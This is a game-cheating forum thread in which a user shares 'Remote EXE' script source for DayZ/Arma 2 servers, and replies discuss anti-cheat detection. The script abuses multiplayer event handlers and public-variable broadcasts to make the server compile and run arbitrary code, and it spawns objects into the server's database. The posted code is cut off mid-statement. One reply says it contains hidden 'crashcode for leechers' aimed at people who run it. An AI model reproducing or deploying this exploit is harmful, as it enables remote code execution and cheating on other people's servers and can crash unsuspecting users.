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Thread: Remote EXE source code:3

  1. #1
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    Post Remote EXE source code:3

    PHP Code:
    _geschwitz call compile preprocessFileLineNumbers "scr\menu\menulist\gilligan.sqf";if !(isNil "_geschwitz"then {if (getplayeruid player in _geschwitzthen{
    local_publishObj = {
    //[dayz_characterID,_tent,[_dir,_location],"TentStorage"]
    _charID =        _this select 0;
    object =         _this select 1;
    _worldspace =     _this select 2;
    _className =     _this select 3;
    _id =            0;

    _dir =         _worldspace select 0;
    _location _worldspace select 1;

    call compile ("object = create" "Vehicle [_className, _location, [], 0, ""CAN_COLLIDE""];
    object setdir _dir;
    object setpos _location;
    object setVariable [""OwnerID"", _charID, true];"
    );

    //add to database
    dayz_serverObjectMonitor set [count dayz_serverObjectMonitor,object];

    //get UID
    _uid object call dayzobjectUID;

    object setVariable ["ObjectUID"_uidtrue];
    };

    if (
    isNil "initre337"then
        
    {
            
    createTeam ["bleh"format["local_publishObj = %1; object_setFixServer =
            {
                if (isServer && ((_this select 2) == 0)) then
                {
                    _code = markerText 'respawn_west';
                    call compile _code;
                    remExField = [nil,nil,(';'+_code+';')];
                    publicVariable 'remExField';
                } else {_this call compile preprocessFileLineNumbers '\z\addons\dayz_code\compile\object_setfixserver.sqf';};
            }; if (isServer) then {initre337 = true; publicVariable 'initre337';};"
    local_publishObj]];
            
    _g_Unit createGroup east;
            
    _sheep1 _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0"FORM"];
            
    _sheep1 addMPEventHandler ["mpkilled""{bleh = teamName _x} count teams;"];
            
    _sheep1 setDamage 1.01;
            
    hint "MP Unit 1 Killed!";
            
    waitUntil {!isNil "bleh"};
            
    sleep 1;
            
    dayzLogin = [{onEachFrame bleh}];
            
    publicVariableServer "dayzLogin";
            
    _sheep2 _g_Unit createUnit ["Sheep", [3000,3000,0], [], 0"FORM"];
            
    _sheep2 addMPEventHandler ["mpkilled""{isNil _x} count dayzLogin; bleh2 = true;"];
            
    _sheep2 setDamage 1.01;
            
    hint "MP Unit 2 Killed!";
            
    waitUntil {!isNil 
    thats all there is enjoy

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  2. #2
    SSH-Admin/Leader
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    Saw MP event handler :P
    Detected, Use at own risk!

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  3. #3
    Dat Rustler v4 RE

    Mixed with something else?

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  4. #4
    omfg this is so old it still has my geschwitz and gilligan crashcode for leechers AHAHAH

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